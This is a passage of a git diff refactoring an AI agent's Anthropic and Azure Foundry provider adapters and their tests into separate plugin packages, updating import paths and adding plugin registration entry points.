with matching state" @@ -160,7 +160,7 @@ def test_callback_state_mismatch_aborts(monkeypatch, tmp_path, caplog): capture_token_request=captured_token, ) - from agent.anthropic_adapter import run_hermes_oauth_login_pure + from hermes_agent_anthropic import run_hermes_oauth_login_pure result = run_hermes_oauth_login_pure() diff --git a/tests/run_agent/test_anthropic_third_party_oauth_guard.py b/plugins/model-providers/anthropic/tests/test_anthropic_third_party_oauth_guard.py similarity index 90% rename from tests/run_agent/test_anthropic_third_party_oauth_guard.py rename to plugins/model-providers/anthropic/tests/test_anthropic_third_party_oauth_guard.py index b45190daaba..d36de8bb146 100644 --- a/tests/run_agent/test_anthropic_third_party_oauth_guard.py +++ b/plugins/model-providers/anthropic/tests/test_anthropic_third_party_oauth_guard.py @@ -64,9 +64,9 @@ class TestOAuthFlagOnRefresh: agent._is_anthropic_oauth = False with ( - patch("agent.anthropic_adapter.resolve_anthropic_token", + patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", return_value=_OAUTH_LIKE_TOKEN), - patch("agent.anthropic_adapter.build_anthropic_client", + patch("hermes_agent_anthropic.adapter.build_anthropic_client", return_value=MagicMock()), ): result = agent._try_refresh_anthropic_client_credentials() @@ -85,9 +85,9 @@ class TestOAuthFlagOnRefresh: agent._is_anthropic_oauth = False with ( - patch("agent.anthropic_adapter.resolve_anthropic_token", + patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", return_value=_OAUTH_LIKE_TOKEN), - patch("agent.anthropic_adapter.build_anthropic_client", + patch("hermes_agent_anthropic.adapter.build_anthropic_client", return_value=MagicMock()), ): result = agent._try_refresh_anthropic_client_credentials() @@ -111,7 +111,7 @@ class TestOAuthFlagOnCredentialSwap: entry.runtime_api_key = _OAUTH_LIKE_TOKEN entry.runtime_base_url = "https://open.bigmodel.cn/api/anthropic" - with patch("agent.anthropic_adapter.build_anthropic_client", + with patch("hermes_agent_anthropic.adapter.build_anthropic_client", return_value=MagicMock()): agent._swap_credential(entry) @@ -125,11 +125,11 @@ class TestOAuthFlagOnConstruction: with ( patch("run_agent.get_tool_definitions", return_value=[]), patch("run_agent.check_toolset_requirements", return_value={}), - patch("agent.anthropic_adapter.build_anthropic_client", + patch("hermes_agent_anthropic.adapter.build_anthropic_client", return_value=MagicMock()), # Simulate a stale ANTHROPIC_TOKEN in the env — the init code # MUST NOT fall back to it when provider != anthropic. - patch("agent.anthropic_adapter.resolve_anthropic_token", + patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", return_value=_OAUTH_LIKE_TOKEN), ): agent = AIAgent( @@ -154,7 +154,7 @@ class TestOAuthFlagOnFallbackActivation: def test_fallback_to_third_party_does_not_flip_oauth(self, agent): """Directly mimic the post-fallback assignment at line ~6537.""" - from agent.anthropic_adapter import _is_oauth_token + from hermes_agent_anthropic import _is_oauth_token # Emulate the relevant lines of _try_activate_fallback without # running the entire recovery stack (which pulls in streaming, @@ -171,11 +171,11 @@ class TestApiKeyTokensAlwaysSafe: """Regression: plain API-key shapes must always resolve to non-OAuth, any provider.""" def test_native_anthropic_with_api_key_token(self): - from agent.anthropic_adapter import _is_oauth_token + from hermes_agent_anthropic import _is_oauth_token assert _is_oauth_token(_API_KEY_TOKEN) is False def test_third_party_key_shape(self): - from agent.anthropic_adapter import _is_oauth_token + from hermes_agent_anthropic import _is_oauth_token # Third-party key shapes (MiniMax 'mxp-...', GLM 'glm.sess.', etc.) # already return False from _is_oauth_token; the guard adds a second # defense line in case future token formats accidentally look OAuth-y. diff --git a/plugins/model-providers/anthropic/tests/test_anthropic_timeouts.py b/plugins/model-providers/anthropic/tests/test_anthropic_timeouts.py new file mode 100644 index 00000000000..47e14c26e25 --- /dev/null +++ b/plugins/model-providers/anthropic/tests/test_anthropic_timeouts.py @@ -0,0 +1,22 @@ +"""Anthropic-specific timeout tests moved from tests/hermes_cli/test_timeouts.py.""" + +from __future__ import annotations + + +def test_anthropic_adapter_honors_timeout_kwarg(): + """build_anthropic_client(timeout=X) overrides the 900s default read timeout.""" + pytest = __import__("pytest") + anthropic = pytest.importorskip("anthropic") # skip if optional SDK missing + from hermes_agent_anthropic import build_anthropic_client + + c_default = build_anthropic_client("sk-ant-dummy", None) + c_custom = build_anthropic_client("sk-ant-dummy", None, timeout=45.0) + c_invalid = build_anthropic_client("sk-ant-dummy", None, timeout=-1) + + # Default stays at 900s; custom overrides; invalid falls back to default + assert c_default.timeout.read == 900.0 + assert c_custom.timeout.read == 45.0 + assert c_invalid.timeout.read == 900.0 + # Connect timeout always stays at 10s regardless + assert c_default.timeout.connect == 10.0 + assert c_custom.timeout.connect == 10.0 diff --git a/tests/agent/test_deepseek_anthropic_thinking.py b/plugins/model-providers/anthropic/tests/test_deepseek_anthropic_thinking.py similarity index 95% rename from tests/agent/test_deepseek_anthropic_thinking.py rename to plugins/model-providers/anthropic/tests/test_deepseek_anthropic_thinking.py index 67534adc3e8..0da5bad5a55 100644 --- a/tests/agent/test_deepseek_anthropic_thinking.py +++ b/plugins/model-providers/anthropic/tests/test_deepseek_anthropic_thinking.py @@ -38,7 +38,7 @@ class TestDeepSeekAnthropicPreservesThinking: ) def test_unsigned_thinking_block_survives_replay(self, base_url: str) -> None: """Unsigned thinking (synthesised from reasoning_content) must be preserved.""" - from agent.anthropic_adapter import convert_messages_to_anthropic + from hermes_agent_anthropic import convert_messages_to_anthropic messages = [ {"role": "user", "content": "hi"}, @@ -75,7 +75,7 @@ class TestDeepSeekAnthropicPreservesThinking: def test_unsigned_thinking_preserved_on_non_latest_assistant_turn(self) -> None: """DeepSeek validates history across every prior assistant turn, not just last.""" - from agent.anthropic_adapter import convert_messages_to_anthropic + from hermes_agent_anthropic import convert_messages_to_anthropic messages = [ {"role": "user", "content": "q1"}, @@ -125,7 +125,7 @@ class TestDeepSeekAnthropicPreservesThinking: DeepSeek issues its own signatures and cannot validate Anthropic's — the strip-signed / keep-unsigned split matches the Kimi policy. """ - from agent.anthropic_adapter import convert_messages_to_anthropic + from hermes_agent_anthropic import convert_messages_to_anthropic messages = [ {"role": "user", "content": "hi"}, @@ -163,7 +163,7 @@ class TestDeepSeekAnthropicPreservesThinking: as ignored — cache markers interfere with signature validation on upstreams that do check them, so Hermes strips them everywhere. """ - from agent.anthropic_adapter import convert_messages_to_anthropic + from hermes_agent_anthropic import convert_messages_to_anthropic messages = [ {"role": "user", "content": "hi"}, @@ -200,7 +200,7 @@ class TestDeepSeekAnthropicPreservesThinking: detector should still fail closed so an accidental misuse doesn't quietly send signed Anthropic blocks to an OpenAI endpoint. """ - from agent.anthropic_adapter import _is_deepseek_anthropic_endpoint + from hermes_agent_anthropic import _is_deepseek_anthropic_endpoint assert _is_deepseek_anthropic_endpoint("https://api.deepseek.com") is False assert _is_deepseek_anthropic_endpoint("https://api.deepseek.com/v1") is False @@ -211,7 +211,7 @@ class TestDeepSeekAnthropicPreservesThinking: """MiniMax and other third-party Anthropic endpoints must keep the generic strip-all behaviour (they reject unsigned blocks outright). """ - from agent.anthropic_adapter import convert_messages_to_anthropic + from hermes_agent_anthropic import convert_messages_to_anthropic messages = [ {"role": "user", "content": "hi"}, diff --git a/tests/agent/test_kimi_coding_anthropic_thinking.py b/plugins/model-providers/anthropic/tests/test_kimi_coding_anthropic_thinking.py similarity index 93% rename from tests/agent/test_kimi_coding_anthropic_thinking.py rename to plugins/model-providers/anthropic/tests/test_kimi_coding_anthropic_thinking.py index 89872cc2f00..7b9040cb42c 100644 --- a/tests/agent/test_kimi_coding_anthropic_thinking.py +++ b/plugins/model-providers/anthropic/tests/test_kimi_coding_anthropic_thinking.py @@ -37,7 +37,7 @@ class TestKimiCodingSkipsAnthropicThinking: ], ) def test_kimi_coding_endpoint_omits_thinking(self, base_url: str) -> None: - from agent.anthropic_adapter import build_anthropic_kwargs + from hermes_agent_anthropic import build_anthropic_kwargs kwargs = build_anthropic_kwargs( model="kimi-k2.5", @@ -54,7 +54,7 @@ class TestKimiCodingSkipsAnthropicThinking: assert "output_config" not in kwargs def test_kimi_coding_with_explicit_disabled_also_omits(self) -> None: - from agent.anthropic_adapter import build_anthropic_kwargs + from hermes_agent_anthropic import build_anthropic_kwargs kwargs = build_anthropic_kwargs( model="kimi-k2.5", @@ -68,7 +68,7 @@ class TestKimiCodingSkipsAnthropicThinking: def test_non_kimi_third_party_still_gets_thinking(self) -> None: """MiniMax and other third-party Anthropic endpoints must retain thinking.""" - from agent.anthropic_adapter import build_anthropic_kwargs + from hermes_agent_anthropic import build_anthropic_kwargs kwargs = build_anthropic_kwargs( model="MiniMax-M2.7", @@ -82,7 +82,7 @@ class TestKimiCodingSkipsAnthropicThinking: assert kwargs["thinking"]["type"] == "enabled" def test_native_anthropic_still_gets_thinking(self) -> None: - from agent.anthropic_adapter import build_anthropic_kwargs + from hermes_agent_anthropic import build_anthropic_kwargs kwargs = build_anthropic_kwargs( model="claude-sonnet-4-20250514", @@ -105,7 +105,7 @@ class TestKimiCodingSkipsAnthropicThinking: suppression must apply to every Kimi host, not just ``/coding``. See #17057. """ - from agent.anthropic_adapter import build_anthropic_kwargs + from hermes_agent_anthropic import build_anthropic_kwargs kwargs = build_anthropic_kwargs( model="kimi-k2.5", @@ -136,7 +136,7 @@ class TestKimiCodingSkipsAnthropicThinking: self, base_url: str, model: str ) -> None: """Custom / proxied Kimi endpoints must also strip Anthropic thinking.""" - from agent.anthropic_adapter import build_anthropic_kwargs + from hermes_agent_anthropic import build_anthropic_kwargs kwargs = build_anthropic_kwargs( model=model, @@ -159,7 +159,7 @@ class TestKimiCodingSkipsAnthropicThinking: Guards against over-broad model-family matching — only model names starting with a Kimi/Moonshot prefix should trigger suppression. """ - from agent.anthropic_adapter import build_anthropic_kwargs + from hermes_agent_anthropic import build_anthropic_kwargs kwargs = build_anthropic_kwargs( model="MiniMax-M2.7", @@ -177,7 +177,7 @@ class TestKimiCodingSkipsAnthropicThinking: blocks must survive the third-party signature-stripping pass so the upstream's message-history validation passes. """ - from agent.anthropic_adapter import convert_messages_to_anthropic + from hermes_agent_anthropic import convert_messages_to_anthropic messages = [ {"role": "user", "content": "hi"}, diff --git a/tests/agent/test_minimax_provider.py b/plugins/model-providers/anthropic/tests/test_minimax_provider.py similarity index 90% rename from tests/agent/test_minimax_provider.py rename to plugins/model-providers/anthropic/tests/test_minimax_provider.py index 2e7f134e4d4..1ac17dd716c 100644 --- a/tests/agent/test_minimax_provider.py +++ b/plugins/model-providers/anthropic/tests/test_minimax_provider.py @@ -32,7 +32,7 @@ class TestMinimaxThinkingSupport: """ def test_minimax_m27_gets_manual_thinking(self): - from agent.anthropic_adapter import build_anthropic_kwargs + from hermes_agent_anthropic import build_anthropic_kwargs kwargs = build_anthropic_kwargs( model="MiniMax-M2.7", messages=[{"role": "user", "content": "hello"}], @@ -47,7 +47,7 @@ class TestMinimaxThinkingSupport: assert "output_config" not in kwargs def test_minimax_m25_gets_manual_thinking(self): - from agent.anthropic_adapter import build_anthropic_kwargs + from hermes_agent_anthropic import build_anthropic_kwargs kwargs = build_anthropic_kwargs( model="MiniMax-M2.5", messages=[{"role": "user", "content": "hello"}], @@ -59,7 +59,7 @@ class TestMinimaxThinkingSupport: assert kwargs["thinking"]["type"] == "enabled" def test_thinking_still_works_for_claude(self): - from agent.anthropic_adapter import build_anthropic_kwargs + from hermes_agent_anthropic import build_anthropic_kwargs kwargs = build_anthropic_kwargs( model="claude-sonnet-4-20250514", messages=[{"role": "user", "content": "hello"}], @@ -99,8 +99,8 @@ class TestMinimaxBetaHeaders: def _build_and_get_betas(self, api_key, base_url=None): """Build client, return the anthropic-beta header string.""" - from agent.anthropic_adapter import build_anthropic_client - with patch("agent.anthropic_adapter._anthropic_sdk") as mock_sdk: + from hermes_agent_anthropic import build_anthropic_client + with patch("hermes_agent_anthropic.adapter._anthropic_sdk") as mock_sdk: build_anthropic_client(api_key, base_url=base_url) kwargs = mock_sdk.Anthropic.call_args[1] headers = kwargs.get("default_headers", {}) @@ -158,26 +158,26 @@ class TestMinimaxBetaHeaders: # -- _common_betas_for_base_url unit tests --------------------------- def test_common_betas_none_url(self): - from agent.anthropic_adapter import _common_betas_for_base_url, _COMMON_BETAS + from hermes_agent_anthropic import _common_betas_for_base_url, _COMMON_BETAS assert _common_betas_for_base_url(None) == _COMMON_BETAS def test_common_betas_empty_url(self): - from agent.anthropic_adapter import _common_betas_for_base_url, _COMMON_BETAS + from hermes_agent_anthropic import _common_betas_for_base_url, _COMMON_BETAS assert _common_betas_for_base_url("") == _COMMON_BETAS def test_common_betas_minimax_url(self): - from agent.anthropic_adapter import _common_betas_for_base_url, _TOOL_STREAMING_BETA + from hermes_agent_anthropic import _common_betas_for_base_url, _TOOL_STREAMING_BETA betas = _common_betas_for_base_url("https://api.minimax.io/anthropic") assert _TOOL_STREAMING_BETA not in betas assert len(betas) > 0 # still has other betas def test_common_betas_minimax_cn_url(self): - from agent.anthropic_adapter import _common_betas_for_base_url, _TOOL_STREAMING_BETA + from hermes_agent_anthropic import _common_betas_for_base_url, _TOOL_STREAMING_BETA betas = _common_betas_for_base_url("https://api.minimaxi.com/anthropic") assert _TOOL_STREAMING_BETA not in betas def test_common_betas_regular_url(self): - from agent.anthropic_adapter import _common_betas_for_base_url, _COMMON_BETAS + from hermes_agent_anthropic import _common_betas_for_base_url, _COMMON_BETAS assert _common_betas_for_base_url("https://api.anthropic.com") == _COMMON_BETAS @@ -222,19 +222,19 @@ class TestMinimaxMaxOutput: """ def test_minimax_m27_output_limit(self): - from agent.anthropic_adapter import _get_anthropic_max_output + from hermes_agent_anthropic import _get_anthropic_max_output assert _get_anthropic_max_output("MiniMax-M2.7") == 131_072 def test_minimax_m25_output_limit(self): - from agent.anthropic_adapter import _get_anthropic_max_output + from hermes_agent_anthropic import _get_anthropic_max_output assert _get_anthropic_max_output("MiniMax-M2.5") == 131_072 def test_minimax_m2_output_limit(self): - from agent.anthropic_adapter import _get_anthropic_max_output + from hermes_agent_anthropic import _get_anthropic_max_output assert _get_anthropic_max_output("MiniMax-M2") == 131_072 def test_claude_output_unaffected(self): - from agent.anthropic_adapter import _get_anthropic_max_output + from hermes_agent_anthropic import _get_anthropic_max_output # Sanity: Claude limits are not broken by the MiniMax entry assert _get_anthropic_max_output("claude-sonnet-4-6") == 64_000 @@ -301,21 +301,21 @@ class TestMinimaxPreserveDots: assert AIAgent._anthropic_preserve_dots(agent) is True def test_normalize_preserves_m25_free_dot(self): - from agent.anthropic_adapter import normalize_model_name + from hermes_agent_anthropic import normalize_model_name assert normalize_model_name("minimax-m2.5-free", preserve_dots=True) == "minimax-m2.5-free" def test_normalize_preserves_m27_dot(self): - from agent.anthropic_adapter import normalize_model_name + from hermes_agent_anthropic import normalize_model_name assert normalize_model_name("MiniMax-M2.7", preserve_dots=True) == "MiniMax-M2.7" def test_normalize_preserves_non_anthropic_dots_without_preserve(self): - from agent.anthropic_adapter import normalize_model_name + from hermes_agent_anthropic import normalize_model_name # Non-Anthropic model families use dots as canonical version separators; # only Claude/Anthropic names are hyphen-normalized by default. assert normalize_model_name("MiniMax-M2.7", preserve_dots=False) == "MiniMax-M2.7" def test_normalize_still_converts_claude_dots_without_preserve(self): - from agent.anthropic_adapter import normalize_model_name + from hermes_agent_anthropic import normalize_model_name assert normalize_model_name("claude-opus-4.6", preserve_dots=False) == "claude-opus-4-6" @@ -348,9 +348,9 @@ class TestMinimaxSwitchModelCredentialGuard: agent._anthropic_client = MagicMock() agent._fallback_chain = [] - with patch("agent.anthropic_adapter.build_anthropic_client") as mock_build, \ - patch("agent.anthropic_adapter.resolve_anthropic_token", return_value="sk-ant-leaked") as mock_resolve, \ - patch("agent.anthropic_adapter._is_oauth_token", return_value=False): + with patch("hermes_agent_anthropic.adapter.build_anthropic_client") as mock_build, \ + patch("hermes_agent_anthropic.adapter.resolve_anthropic_token", return_value="sk-ant-leaked") as mock_resolve, \ + patch("hermes_agent_anthropic.adapter._is_oauth_token", return_value=False): agent.switch_model( new_model="MiniMax-M2.7", diff --git a/plugins/model-providers/arcee/__init__.py b/plugins/model-providers/arcee/__init__.py index 46afb6e16e1..84849ca0049 100644 --- a/plugins/model-providers/arcee/__init__.py +++ b/plugins/model-providers/arcee/__init__.py @@ -11,3 +11,9 @@ arcee = ProviderProfile( ) register_provider(arcee) + + +def register(ctx): + """No-op — this provider has no workspace package yet.""" + pass + diff --git a/plugins/model-providers/azure-foundry/__init__.py b/plugins/model-providers/azure-foundry/__init__.py index 50968805f55..5aba146b7c0 100644 --- a/plugins/model-providers/azure-foundry/__init__.py +++ b/plugins/model-providers/azure-foundry/__init__.py @@ -19,3 +19,9 @@ azure_foundry = ProviderProfile( ) register_provider(azure_foundry) + + +def register(ctx): + """Plugin entry point — delegates to the inner hermes_agent_azure package.""" + from hermes_agent_azure import register as _inner_register + _inner_register(ctx) diff --git a/plugins/model-providers/azure-foundry/hermes_agent_azure/__init__.py b/plugins/model-providers/azure-foundry/hermes_agent_azure/__init__.py new file mode 100644 index 00000000000..4b8e8e5d9c8 --- /dev/null +++ b/plugins/model-providers/azure-foundry/hermes_agent_azure/__init__.py @@ -0,0 +1,42 @@ +"""hermes-agent-azure: Microsoft Entra ID / Azure Identity adapter for Hermes Agent.""" + +from hermes_agent_azure.adapter import ( # noqa: F401 + SCOPE_AI_AZURE_DEFAULT, + EntraIdentityConfig, + _build_default_credential, + _require_azure_identity, + build_bearer_http_client, + build_credential, + build_token_provider, + describe_active_credential, + has_azure_identity_credentials, + has_azure_identity_installed, + is_token_provider, + materialize_bearer_for_http, + reset_credential_cache, +) + + +def register(ctx): + """Entry point for the hermes_agent.plugins entry point group.""" + from hermes_agent_azure import adapter + + ctx.register_provider_services("azure", { + # Auth / credentials + "is_token_provider": adapter.is_token_provider, + "has_azure_identity_credentials": adapter.has_azure_identity_credentials, + "has_azure_identity_installed": adapter.has_azure_identity_installed, + # Client building + "build_bearer_http_client": adapter.build_bearer_http_client, + "build_credential": adapter.build_credential, + "build_token_provider": adapter.build_token_provider, + "materialize_bearer_for_http": adapter.materialize_bearer_for_http, + "reset_credential_cache": adapter.reset_credential_cache, + # Constants / config + "SCOPE_AI_AZURE_DEFAULT": adapter.SCOPE_AI_AZURE_DEFAULT, + "EntraIdentityConfig": adapter.EntraIdentityConfig, + # Internal helpers + "_build_default_credential": adapter._build_default_credential, + "_require_azure_identity": adapter._require_azure_identity, + "describe_active_credential": adapter.describe_active_credential, + }) diff --git a/agent/azure_identity_adapter.py b/plugins/model-providers/azure-foundry/hermes_agent_azure/adapter.py similarity index 95% rename from agent/azure_identity_adapter.py rename to plugins/model-providers/azure-foundry/hermes_agent_azure/adapter.py index 9506715019d..b089351b8a1 100644 --- a/agent/azure_identity_adapter.py +++ b/plugins/model-providers/azure-foundry/hermes_agent_azure/adapter.py @@ -54,8 +54,6 @@ SCOPE_AI_AZURE_DEFAULT = "https://ai.azure.com/.default" # Lazy SDK import — only loaded when the Entra path is actually used. # --------------------------------------------------------------------------- -_AZURE_IDENTITY_FEATURE = "provider.azure_identity" - def has_azure_identity_installed() -> bool: """Return True if `azure-identity` can be imported right now. @@ -70,35 +68,20 @@ def has_azure_identity_installed() -> bool: def _require_azure_identity(): - """Import ``azure.identity``, lazy-installing it if allowed. + """Import ``azure.identity``. Raises ``ImportError`` with a clear actionable message when the - package is missing and lazy installs are disabled. + package is missing. """ try: import azure.identity as _ai return _ai except ImportError: - try: - from tools.lazy_deps import ensure, FeatureUnavailable - except ImportError as exc: - raise ImportError( - "The 'azure-identity' package is required for Azure AI " - "Foundry Entra ID authentication. Install it with: " - "pip install azure-identity" - ) from exc - - try: - ensure(_AZURE_IDENTITY_FEATURE, prompt=False) - except FeatureUnavailable as exc: - raise ImportError( - "The 'azure-identity' package is required for Azure AI " - "Foundry Entra ID authentication. " + str(exc) - ) from exc - - # Retry import after lazy install. - import azure.identity as _ai # noqa: WPS440 - return _ai + raise ImportError( + "The 'azure-identity' package is required for Azure AI " + "Foundry Entra ID authentication. Install it with: " + "pip install azure-identity" + ) def reset_credential_cache() -> None: diff --git a/plugins/model-providers/azure-foundry/pyproject.toml b/plugins/model-providers/azure-foundry/pyproject.toml new file mode 100644 index 00000000000..965fe33c318 --- /dev/null +++ b/plugins/model-providers/azure-foundry/pyproject.toml @@ -0,0 +1,19 @@ +[build-system] +requires = ["setuptools>=61.0"] +build-backend = "setuptools.build_meta" + +[project] +name = "hermes-agent-azure" +version = "0.1.0" +description = "Microsoft Entra ID / Azure Identity adapter for Hermes Agent" +requires-python = ">=3.11" +dependencies = [ + "hermes-agent", + "azure-identity==1.25.3", +] + +[project.entry-points."hermes_agent.plugins"] +azure = "hermes_agent_azure:register" + +[tool.setuptools.packages.find] +include = ["hermes_agent_azure*"] diff --git a/tests/agent/test_auxiliary_client_azure_foundry.py b/plugins/model-providers/azure-foundry/tests/test_auxiliary_client_azure_foundry.py similarity index 99% rename from tests/agent/test_auxiliary_client_azure_foundry.py rename to plugins/model-providers/azure-foundry/tests/test_auxiliary_client_azure_foundry.py index dea08a5caa2..d992523407f 100644 --- a/tests/agent/test_auxiliary_client_azure_foundry.py +++ b/plugins/model-providers/azure-foundry/tests/test_auxiliary_client_azure_foundry.py @@ -34,7 +34,7 @@ import pytest @pytest.fixture(autouse=True) def _reset_credential_cache(): - from agent.azure_identity_adapter import reset_credential_cache + from hermes_agent_azure import reset_credential_cache reset_credential_cache() yield reset_credential_cache() @@ -242,7 +242,7 @@ class TestAuxAzureFoundryEntra: event hook on a custom ``httpx.Client`` passed to the Anthropic SDK via ``http_client=``.""" from agent import auxiliary_client as _aux - from agent import anthropic_adapter as _anthropic + from hermes_agent_anthropic import adapter as _anthropic received = {} diff --git a/tests/hermes_cli/test_azure_foundry_entra.py b/plugins/model-providers/azure-foundry/tests/test_azure_foundry_entra.py similarity index 99% rename from tests/hermes_cli/test_azure_foundry_entra.py rename to plugins/model-providers/azure-foundry/tests/test_azure_foundry_entra.py index 6cc2ff0ec97..92cbf09f8bb 100644 --- a/tests/hermes_cli/test_azure_foundry_entra.py +++ b/plugins/model-providers/azure-foundry/tests/test_azure_foundry_entra.py @@ -31,7 +31,7 @@ import pytest @pytest.fixture(autouse=True) def _reset_credential_cache(): - from agent.azure_identity_adapter import reset_credential_cache + from hermes_agent_azure import reset_credential_cache reset_credential_cache() yield reset_credential_cache() @@ -151,7 +151,7 @@ class TestResolveAzureFoundryRuntimeEntra: ``cognitiveservices.azure.com`` scope is the control-plane audience and is rejected for inference by newer resources.""" from hermes_cli.runtime_provider import _resolve_azure_foundry_runtime - from agent.azure_identity_adapter import SCOPE_AI_AZURE_DEFAULT + from hermes_agent_azure import SCOPE_AI_AZURE_DEFAULT _resolve_azure_foundry_runtime( requested_provider="azure-foundry", model_cfg={ diff --git a/tests/agent/test_azure_identity_adapter.py b/plugins/model-providers/azure-foundry/tests/test_azure_identity_adapter.py similarity index 88% rename from tests/agent/test_azure_identity_adapter.py rename to plugins/model-providers/azure-foundry/tests/test_azure_identity_adapter.py index a569709e00d..fcd7f701ae9 100644 --- a/tests/agent/test_azure_identity_adapter.py +++ b/plugins/model-providers/azure-foundry/tests/test_azure_identity_adapter.py @@ -32,7 +32,7 @@ import pytest # about cache invalidation. @pytest.fixture(autouse=True) def _reset_adapter_cache(): - from agent.azure_identity_adapter import reset_credential_cache + from hermes_agent_azure import reset_credential_cache reset_credential_cache() yield reset_credential_cache() @@ -61,7 +61,7 @@ class TestEntraScopeConstant: """ def test_default_scope_matches_microsoft_documentation(self): - from agent.azure_identity_adapter import SCOPE_AI_AZURE_DEFAULT + from hermes_agent_azure import SCOPE_AI_AZURE_DEFAULT assert SCOPE_AI_AZURE_DEFAULT == "https://ai.azure.com/.default" @@ -75,7 +75,7 @@ class TestMaterializeBearerForHttp: callable exactly once and never fall through to display masking.""" def test_callable_is_invoked_and_returns_token(self): - from agent.azure_identity_adapter import materialize_bearer_for_http + from hermes_agent_azure import materialize_bearer_for_http invoked = {"count": 0} @@ -87,16 +87,16 @@ class TestMaterializeBearerForHttp: assert invoked["count"] == 1 def test_string_passes_through(self): - from agent.azure_identity_adapter import materialize_bearer_for_http + from hermes_agent_azure import materialize_bearer_for_http assert materialize_bearer_for_http("plain-key") == "plain-key" def test_callable_returning_empty_raises(self): - from agent.azure_identity_adapter import materialize_bearer_for_http + from hermes_agent_azure import materialize_bearer_for_http with pytest.raises(ValueError): materialize_bearer_for_http(lambda: "") def test_empty_string_raises(self): - from agent.azure_identity_adapter import materialize_bearer_for_http + from hermes_agent_azure import materialize_bearer_for_http with pytest.raises(ValueError): materialize_bearer_for_http("") with pytest.raises(ValueError): @@ -116,7 +116,7 @@ class TestBuildBearerHttpClient: def test_returns_httpx_client_with_request_hook(self): import httpx - from agent.azure_identity_adapter import build_bearer_http_client + from hermes_agent_azure import build_bearer_http_client client = build_bearer_http_client(lambda: "jwt") try: @@ -128,7 +128,7 @@ class TestBuildBearerHttpClient: def test_hook_overrides_authorization_header(self): import httpx - from agent.azure_identity_adapter import build_bearer_http_client + from hermes_agent_azure import build_bearer_http_client minted_tokens = [] @@ -180,7 +180,7 @@ class TestBuildBearerHttpClient: """ import logging import httpx - from agent.azure_identity_adapter import build_bearer_http_client + from hermes_agent_azure import build_bearer_http_client def bad_provider(): return "" # empty token → materialize_bearer_for_http raises @@ -209,7 +209,7 @@ class TestBuildBearerHttpClient: client.close() def test_rejects_non_callable_provider(self): - from agent.azure_identity_adapter import build_bearer_http_client + from hermes_agent_azure import build_bearer_http_client with pytest.raises(ValueError): build_bearer_http_client(cast(Callable[[], str], "plain-string-not-callable")) with pytest.raises(ValueError): @@ -217,7 +217,7 @@ class TestBuildBearerHttpClient: def test_forwards_httpx_kwargs(self): import httpx - from agent.azure_identity_adapter import build_bearer_http_client + from hermes_agent_azure import build_bearer_http_client timeout = httpx.Timeout(60.0, connect=5.0) client = build_bearer_http_client(lambda: "jwt", timeout=timeout) @@ -231,11 +231,11 @@ class TestBuildBearerHttpClient: class TestIsTokenProvider: def test_callable_is_token_provider(self): - from agent.azure_identity_adapter import is_token_provider + from hermes_agent_azure import is_token_provider assert is_token_provider(lambda: "x") is True def test_string_is_not_token_provider(self): - from agent.azure_identity_adapter import is_token_provider + from hermes_agent_azure import is_token_provider assert is_token_provider("static-key") is False # ``str`` instances are technically callable in some edge cases # — confirm they're never classified as token providers. @@ -252,7 +252,7 @@ class TestEntraIdentityConfig: must round-trip through dict cleanly and never lose fields.""" def test_to_dict_round_trip(self): - from agent.azure_identity_adapter import EntraIdentityConfig + from hermes_agent_azure import EntraIdentityConfig cfg = EntraIdentityConfig( scope="https://ai.azure.com/.default", exclude_interactive_browser=False, @@ -261,7 +261,7 @@ class TestEntraIdentityConfig: assert rebuilt == cfg def test_from_dict_handles_empty_strings(self): - from agent.azure_identity_adapter import EntraIdentityConfig + from hermes_agent_azure import EntraIdentityConfig cfg = EntraIdentityConfig.from_dict({ "scope": "", "client_id": None, @@ -273,7 +273,7 @@ class TestEntraIdentityConfig: """Old config.yaml that still has model.entra.client_id / tenant_id / authority should not crash from_dict — those values are now read from AZURE_* env vars by azure-identity directly.""" - from agent.azure_identity_adapter import EntraIdentityConfig + from hermes_agent_azure import EntraIdentityConfig cfg = EntraIdentityConfig.from_dict({ "tenant_id": "legacy-tenant", "authority": "https://login.partner.microsoftonline.cn", @@ -285,12 +285,12 @@ class TestEntraIdentityConfig: assert not hasattr(cfg, "authority") def test_constructor_normalizes_empty_scope(self): - from agent.azure_identity_adapter import EntraIdentityConfig + from hermes_agent_azure import EntraIdentityConfig cfg = EntraIdentityConfig(scope="") assert cfg.scope.endswith("/.default") def test_from_dict_default_scope_override(self): - from agent.azure_identity_adapter import EntraIdentityConfig + from hermes_agent_azure import EntraIdentityConfig cfg = EntraIdentityConfig.from_dict( {"scope": ""}, default_scope="https://custom.example/.default", @@ -299,7 +299,7 @@ class TestEntraIdentityConfig: def test_dataclass_is_frozen(self): # Frozen dataclasses are hashable / safe to pass through caches. - from agent.azure_identity_adapter import EntraIdentityConfig + from hermes_agent_azure import EntraIdentityConfig cfg = EntraIdentityConfig() with pytest.raises((AttributeError, Exception)): setattr(cfg, "scope", "mutated") @@ -365,7 +365,7 @@ class TestBuildCredential: browser auth. Tenant / authority / service principal config flow through the standard ``AZURE_*`` env vars (read by azure-identity directly), not Hermes config kwargs.""" - from agent.azure_identity_adapter import EntraIdentityConfig, build_credential + from hermes_agent_azure import EntraIdentityConfig, build_credential cred = build_credential(EntraIdentityConfig()) kwargs = fake_azure_identity.last_credential_kwargs # Default config should produce empty kwargs — SDK uses its own @@ -378,13 +378,13 @@ class TestBuildCredential: ``exclude_interactive_browser=False``, the SDK kwarg is set to False. Without the opt-in we don't pass the kwarg at all (SDK default is True / browser excluded).""" - from agent.azure_identity_adapter import EntraIdentityConfig, build_credential + from hermes_agent_azure import EntraIdentityConfig, build_credential build_credential(EntraIdentityConfig(exclude_interactive_browser=False)) kwargs = fake_azure_identity.last_credential_kwargs assert kwargs["exclude_interactive_browser_credential"] is False def test_credential_is_cached_per_config(self, fake_azure_identity): - from agent.azure_identity_adapter import EntraIdentityConfig, build_credential + from hermes_agent_azure import EntraIdentityConfig, build_credential cfg = EntraIdentityConfig(scope="s1") c1 = build_credential(cfg) c2 = build_credential(cfg) @@ -392,14 +392,14 @@ class TestBuildCredential: assert fake_azure_identity.credential_count == 1 def test_distinct_configs_get_distinct_credentials(self, fake_azure_identity): - from agent.azure_identity_adapter import EntraIdentityConfig, build_credential + from hermes_agent_azure import EntraIdentityConfig, build_credential c1 = build_credential(EntraIdentityConfig(scope="s1")) c2 = build_credential(EntraIdentityConfig(scope="s2")) assert c1 is not c2 assert fake_azure_identity.credential_count == 2 def 